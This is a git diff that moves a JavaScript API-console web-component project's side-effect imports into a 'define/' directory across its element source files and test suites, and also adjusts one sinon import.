 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
diff --git a/src/elements/ApiAuthorizationEditorElement.js b/src/elements/ApiAuthorizationEditorElement.js
index 497d221..cfe05ae 100644
--- a/src/elements/ApiAuthorizationEditorElement.js
+++ b/src/elements/ApiAuthorizationEditorElement.js
@@ -3,7 +3,7 @@
 import { html, LitElement } from 'lit-element';
 import '@advanced-rest-client/app/define/authorization-method.js';
 import elementStyles from './styles/AuthorizationEditor.js';
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
diff --git a/src/elements/ApiChannelDocumentElement.js b/src/elements/ApiChannelDocumentElement.js
index 2573c18..14bd953 100644
--- a/src/elements/ApiChannelDocumentElement.js
+++ b/src/elements/ApiChannelDocumentElement.js
@@ -8,8 +8,8 @@ import ApiResourceDocumentElement, {
   computeUrlValue,
   operationTemplate,
 } from './ApiResourceDocumentElement.js';
-import '../../api-operation-document.js'
-import '../../api-parameter-document.js';
+import '../../define/api-operation-document.js'
+import '../../define/api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index e8b01e7..c9c86a3 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -12,7 +12,7 @@ import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import { EventTypes } from '../events/EventTypes.js';
-import '../../api-annotation-document.js';
+import '../../define/api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 9fbc786..d65256f 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -10,13 +10,13 @@ import {
   processDebounce,
 } from './ApiDocumentationBase.js';
 import { EventTypes } from '../events/EventTypes.js';
-import '../../api-summary.js'
-import '../../api-operation-document.js'
-import '../../api-resource-document.js';
-import '../../api-security-document.js';
-import '../../api-documentation-document.js';
-import '../../api-schema-document.js';
-import '../../api-server-selector.js';
+import '../../define/api-summary.js'
+import '../../define/api-operation-document.js'
+import '../../define/api-resource-document.js';
+import '../../define/api-security-document.js';
+import '../../define/api-documentation-document.js';
+import '../../define/api-schema-document.js';
+import '../../define/api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index bdd0683..48e18cb 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -26,9 +26,9 @@ import { joinTraitNames } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
 import { tablePropertyTemplate } from './SchemaCommonTemplates.js';
 import schemaStyles from './styles/SchemaCommon.js';
-import '../../api-request-document.js';
-import '../../api-response-document.js';
-import '../../api-security-requirement-document.js';
+import '../../define/api-request-document.js';
+import '../../define/api-response-document.js';
+import '../../define/api-security-requirement-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js
index 7b63321..24458eb 100644
--- a/src/elements/ApiPayloadDocumentElement.js
+++ b/src/elements/ApiPayloadDocumentElement.js
@@ -9,7 +9,7 @@ import {
   examplesTemplate,
   examplesValue,
 } from './ApiDocumentationBase.js';
-import '../../api-schema-document.js';
+import '../../define/api-schema-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js
index a886a15..3e8b642 100644
--- a/src/elements/ApiRequestDocumentElement.js
+++ b/src/elements/ApiRequestDocumentElement.js
@@ -13,8 +13,8 @@ import {
   serializerValue,
 } from './ApiDocumentationBase.js';
 import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
-import '../../api-payload-document.js';
-import '../../api-parameter-document.js';
+import '../../define/api-payload-document.js';
+import '../../define/api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index 52ed3b8..a97ed2e 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -44,8 +44,8 @@ import { RequestEvents } from '../events/RequestEvents.js';
 import { EventTypes } from '../events/EventTypes.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
-import '../../api-authorization-editor.js';
-import '../../api-server-selector.js';
+import '../../define/api-authorization-editor.js';
+import '../../define/api-server-selector.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/events').ApiTypes.ApiType} ApiType */
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index 8a2e28a..859a655 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -16,8 +16,8 @@ import { ArcHeaders } from '@advanced-rest-client/app';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import elementStyles from './styles/Panel.styles.js';
 import { EventTypes } from '../events/EventTypes.js';
-import '../../api-request-editor.js';
-import '../../api-response-view.js';
+import '../../define/api-request-editor.js';
+import '../../define/api-response-view.js';
 
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index 7fc6e4f..24de62b 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -12,9 +12,9 @@ import {
 } from './ApiDocumentationBase.js';
 import { joinTraitNames } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
-import '../../api-request.js';
-import '../../api-operation-document.js'
-import '../../api-parameter-document.js';
+import '../../define/api-request.js';
+import '../../define/api-operation-document.js'
+import '../../define/api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index eb53193..6d49dca 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -9,8 +9,8 @@ import '@anypoint-web-components/awc/anypoint-radio-group.js';
 import '@advanced-rest-client/icons/arc-icon.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiResponse.js';
-import '../../api-payload-document.js';
-import '../../api-parameter-document.js';
+import '../../define/api-payload-document.js';
+import '../../define/api-parameter-document.js';
 import { 
   ApiDocumentationBase, 
   paramsSectionTemplate, 
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index f964139..a926e79 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -16,8 +16,8 @@ import {
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiSecurityDocument.js';
 import schemaStyles from './styles/SchemaCommon.js';
-import '../../api-parameter-document.js';
-import '../../api-response-document.js'
+import '../../define/api-parameter-document.js';
+import '../../define/api-response-document.js'
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js
index 5ba5652..13ce287 100644
--- a/src/elements/ApiSecurityRequirementDocumentElement.js
+++ b/src/elements/ApiSecurityRequirementDocumentElement.js
@@ -5,7 +5,7 @@ import {
   serializerValue,
 } from './ApiDocumentationBase.js';
 import elementStyles from './styles/ApiSecurityRequirement.js';
-import '../../api-parametrized-security-scheme.js';
+import '../../define/api-parametrized-security-scheme.js';
 
 /** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js
index ac43905..811b8e6 100644
--- a/src/elements/SchemaCommonTemplates.js
+++ b/src/elements/SchemaCommonTemplates.js
@@ -2,7 +2,7 @@ import { html } from "lit-element";
 import { classMap } from "lit-html/directives/class-map";
 import { ifDefined } from "lit-html/directives/if-defined";
 import { ns } from '../helpers/Namespace.js';
-import '../../api-annotation-document.js';
+import '../../define/api-annotation-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
diff --git a/src/elements/XhrSimpleRequestElement.js b/src/elements/XhrSimpleRequestElement.js
index 6ed81f0..f0a2dcc 100644
--- a/src/elements/XhrSimpleRequestElement.js
+++ b/src/elements/XhrSimpleRequestElement.js
@@ -16,7 +16,7 @@ import { LitElement } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { EventTypes } from '../events/EventTypes.js';
 import { RequestEvents } from '../events/RequestEvents.js';
-import '../../xhr-simple-request-transport.js';
+import '../../define/xhr-simple-request-transport.js';
 
 /** @typedef {import('./XhrSimpleRequestTransportElement').default} XhrSimpleRequestTransportElement */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
diff --git a/test/authorization/ApiAuthorizationEditorElement.oas.test.js b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
index 8912a4d..20c0035 100644
--- a/test/authorization/ApiAuthorizationEditorElement.oas.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
@@ -1,7 +1,7 @@
 import { html, fixture, assert, nextFrame } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-editor.js';
+import '../../define/api-authorization-editor.js';
 import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.js';
 
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
diff --git a/test/authorization/ApiAuthorizationEditorElement.raml.test.js b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
index 786d654..f2de0a3 100644
--- a/test/authorization/ApiAuthorizationEditorElement.raml.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
@@ -1,7 +1,7 @@
 import { html, fixture, assert, nextFrame } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-editor.js';
+import '../../define/api-authorization-editor.js';
 import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.js';
 
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
diff --git a/test/authorization/ApiAuthorizationMethodElement.test.js b/test/authorization/ApiAuthorizationMethodElement.test.js
index 088b3d6..fb29018 100644
--- a/test/authorization/ApiAuthorizationMethodElement.test.js
+++ b/test/authorization/ApiAuthorizationMethodElement.test.js
@@ -1,5 +1,5 @@
 import { fixture, assert, html } from '@open-wc/testing';
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 
diff --git a/test/authorization/ApiKeyMethod.test.js b/test/authorization/ApiKeyMethod.test.js
index 8381fea..3960fb0 100644
--- a/test/authorization/ApiKeyMethod.test.js
+++ b/test/authorization/ApiKeyMethod.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, aTimeout, nextFrame, html } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/authorization/CustomMethod.test.js b/test/authorization/CustomMethod.test.js
index 53ca93d..5b63eaa 100644
--- a/test/authorization/CustomMethod.test.js
+++ b/test/authorization/CustomMethod.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, aTimeout, nextFrame, html } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/authorization/OAuth1Method.test.js b/test/authorization/OAuth1Method.test.js
index ab65803..043c2d9 100644
--- a/test/authorization/OAuth1Method.test.js
+++ b/test/authorization/OAuth1Method.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, aTimeout, nextFrame, html } from "@open-wc/testing";
 import { defaultSignatureMethods } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth1.js';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/authorization/OAuth2-21143.test.js b/test/authorization/OAuth2-21143.test.js
index a475e06..accf170 100644
--- a/test/authorization/OAuth2-21143.test.js
+++ b/test/authorization/OAuth2-21143.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/authorization/OAuth2-flows.test.js b/test/authorization/OAuth2-flows.test.js
index 0aa4953..ff92a41 100644
--- a/test/authorization/OAuth2-flows.test.js
+++ b/test/authorization/OAuth2-flows.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/authorization/OAuth2-pkce.test.js b/test/authorization/OAuth2-pkce.test.js
index 385557b..b3e3d00 100644
--- a/test/authorization/OAuth2-pkce.test.js
+++ b/test/authorization/OAuth2-pkce.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/authorization/OAuth2Method.test.js b/test/authorization/OAuth2Method.test.js
index b84cbe2..d2ecbfe 100644
--- a/test/authorization/OAuth2Method.test.js
+++ b/test/authorization/OAuth2Method.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, aTimeout, nextFrame, html } from '@open-wc/testing';
 import { oauth2GrantTypes } from '@advanced-rest-client/app/src/elements/authorization/ui/OAuth2.js'
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/authorization/PassThroughMethod.test.js b/test/authorization/PassThroughMethod.test.js
index d25b07d..ea388f7 100644
--- a/test/authorization/PassThroughMethod.test.js
+++ b/test/authorization/PassThroughMethod.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, aTimeout, nextFrame, html } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from "../AmfLoader.js";
-import '../../api-authorization-method.js';
+import '../../define/api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
 /** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
diff --git a/test/elements/ApiAnnotationDocumentElement.test.js b/test/elements/ApiAnnotationDocumentElement.test.js
index 460f36d..5ef0acd 100644
--- a/test/elements/ApiAnnotationDocumentElement.test.js
+++ b/test/elements/ApiAnnotationDocumentElement.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-annotation-document.js';
+import '../../define/api-annotation-document.js';
 
 /** @typedef {import('../../').ApiAnnotationDocumentElement} ApiAnnotationDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiDocumentationDocumentElement.test.js b/test/elements/ApiDocumentationDocumentElement.test.js
index ece2f33..b16c163 100644
--- a/test/elements/ApiDocumentationDocumentElement.test.js
+++ b/test/elements/ApiDocumentationDocumentElement.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-documentation-document.js';
+import '../../define/api-documentation-document.js';
 
 /** @typedef {import('../../').ApiDocumentationDocumentElement} ApiDocumentationDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiDocumentationElement.test.js b/test/elements/ApiDocumentationElement.test.js
index 925c1ed..5b22b34 100644
--- a/test/elements/ApiDocumentationElement.test.js
+++ b/test/elements/ApiDocumentationElement.test.js
@@ -4,7 +4,7 @@ import { AmfLoader } from '../AmfLoader.js';
 import { loadMonaco } from '../MonacoSetup.js';
 import { renderedModelValue } from '../../src/elements/ApiDocumentationElement.js';
 import { NavigationEvents } from '../../src/events/NavigationEvents.js';
-import '../../api-documentation.js';
+import '../../define/api-documentation.js';
 
 /** @typedef {import('../../').ApiDocumentationElement} ApiDocumentationElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index 57f92ab..2b5d667 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -1,8 +1,8 @@
 import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-operation-document.js';
-import '../../api-request-document.js';
+import '../../define/api-operation-document.js';
+import '../../define/api-request-document.js';
 
 /** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */
 /** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */
diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js
index ee1a1f2..9311c9e 100644
--- a/test/elements/ApiRequestDocumentElement.test.js
+++ b/test/elements/ApiRequestDocumentElement.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-document.js';
+import '../../define/api-request-document.js';
 
 /** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiResourceDocumentElement.test.js b/test/elements/ApiResourceDocumentElement.test.js
index 5302a03..858d30b 100644
--- a/test/elements/ApiResourceDocumentElement.test.js
+++ b/test/elements/ApiResourceDocumentElement.test.js
@@ -2,7 +2,7 @@ import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import { requestValues } from '../../src/elements/ApiResourceDocumentElement.js';
 import { AmfLoader } from '../AmfLoader.js';
 import { loadMonaco } from '../MonacoSetup.js';
-import '../../api-resource-document.js';
+import '../../define/api-resource-document.js';
 
 /** @typedef {import('../../').ApiResourceDocumentElement} ApiResourceDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js
index 9998f44..79a2da7 100644
--- a/test/elements/ApiResponseDocumentElement.test.js
+++ b/test/elements/ApiResponseDocumentElement.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-response-document.js';
+import '../../define/api-response-document.js';
 
 /** @typedef {import('../../').ApiResponseDocumentElement} ApiResponseDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js
index e9d2634..422a5ee 100644
--- a/test/elements/ApiSchemaDocumentElement.test.js
+++ b/test/elements/ApiSchemaDocumentElement.test.js
@@ -5,7 +5,7 @@ import {
   expandedValue,
   selectedUnionsValue,
 } from '../../src/elements/ApiSchemaDocumentElement.js';
-import '../../api-schema-document.js';
+import '../../define/api-schema-document.js';
 
 /** @typedef {import('../../').ApiSchemaDocumentElement} ApiSchemaDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
index e62c7bd..4cfe98f 100644
--- a/test/elements/ApiSecurityDocumentElement.test.js
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-security-document.js';
+import '../../define/api-security-document.js';
 import { securityValue } from '../../src/elements/ApiSecurityDocumentElement.js';
 
 /** @typedef {import('../../').ApiSecurityDocumentElement} ApiSecurityDocumentElement */
diff --git a/test/elements/ApiSecurityRequirementDocumentElement.test.js b/test/elements/ApiSecurityRequirementDocumentElement.test.js
index acffdef..d51d895 100644
--- a/test/elements/ApiSecurityRequirementDocumentElement.test.js
+++ b/test/elements/ApiSecurityRequirementDocumentElement.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-security-requirement-document.js';
+import '../../define/api-security-requirement-document.js';
 
 /** @typedef {import('../../').ApiSecurityRequirementDocumentElement} ApiSecurityRequirementDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
diff --git a/test/elements/ApiServerSelectorElement.test.js b/test/elements/ApiServerSelectorElement.test.js
index aa6b9b3..2bca9a8 100644
--- a/test/elements/ApiServerSelectorElement.test.js
+++ b/test/elements/ApiServerSelectorElement.test.js
@@ -3,7 +3,7 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-server-selector.js';
+import '../../define/api-server-selector.js';
 import {
   updateServerSelection,
   serverListTemplate,
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index fa20fad..1468046 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -2,7 +2,7 @@ import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { endpointsValue } from '../../src/elements/ApiSummaryElement.js';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-summary.js';
+import '../../define/api-summary.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
 import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 
diff --git a/test/elements/SE-12957.test.js b/test/elements/SE-12957.test.js
index 950391b..34c258b 100644
--- a/test/elements/SE-12957.test.js
+++ b/test/elements/SE-12957.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-operation-document.js';
+import '../../define/api-operation-document.js';
 
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */
diff --git a/test/http-request/APIC-289.test.js b/test/http-request/APIC-289.test.js
index 56a6403..568bbc3 100644
--- a/test/http-request/APIC-289.test.js
+++ b/test/http-request/APIC-289.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
diff --git a/test/http-request/APIC-298.test.js b/test/http-request/APIC-298.test.js
index f1be9eb..885c9e0 100644
--- a/test/http-request/APIC-298.test.js
+++ b/test/http-request/APIC-298.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
diff --git a/test/http-request/APIC-689.test.js b/test/http-request/APIC-689.test.js
index 87b02ae..dcd9cca 100644
--- a/test/http-request/APIC-689.test.js
+++ b/test/http-request/APIC-689.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
diff --git a/test/http-request/ApiRequestEditorElement.test.js b/test/http-request/ApiRequestEditorElement.test.js
index 7c48342..64afbc7 100644
--- a/test/http-request/ApiRequestEditorElement.test.js
+++ b/test/http-request/ApiRequestEditorElement.test.js
@@ -1,9 +1,9 @@
 /* eslint-disable no-param-reassign */
 import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing';
-import * as sinon from 'sinon';
+import sinon from 'sinon';
 import * as InputCache from '../../src/lib/InputCache.js';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 import { loadMonaco } from '../MonacoSetup.js';
 import { RequestEvents, ApiResponseEvent } from '../../src/events/RequestEvents.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
diff --git a/test/http-request/ApiRequestElement.test.js b/test/http-request/ApiRequestElement.test.js
index b3f03f5..3aeaccb 100644
--- a/test/http-request/ApiRequestElement.test.js
+++ b/test/http-request/ApiRequestElement.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, html, nextFrame } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request.js';
+import '../../define/api-request.js';
 import { loadMonaco } from '../MonacoSetup.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
 import { NavigationEvents } from '../../src/events/NavigationEvents.js';
diff --git a/test/http-request/SE-12042.test.js b/test/http-request/SE-12042.test.js
index cc71e8b..887b96f 100644
--- a/test/http-request/SE-12042.test.js
+++ b/test/http-request/SE-12042.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../..').ApiRequestEditorElement} ApiRequestEditorElement */
diff --git a/test/http-request/SE-12957.test.js b/test/http-request/SE-12957.test.js
index 1cdb3ed..20a5972 100644
--- a/test/http-request/SE-12957.test.js
+++ b/test/http-request/SE-12957.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-request-editor.js';
+import '../../define/api-request-editor.js';
 import * as InputCache from '../../src/lib/InputCache.js';
 
 
diff --git a/test/http-request/xhr-simple-request-transport.test.js b/test/http-request/xhr-simple-request-transport.test.js
index fbcd8ed..d461920 100644
--- a/test/http-request/xhr-simple-request-transport.test.js
+++ b/test/http-request/xhr-simple-request-transport.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import sinon from 'sinon';
 import { MockServer } from './server.js';
-import '../../xhr-simple-request-transport.js';
+import '../../define/xhr-simple-request-transport.js';
 
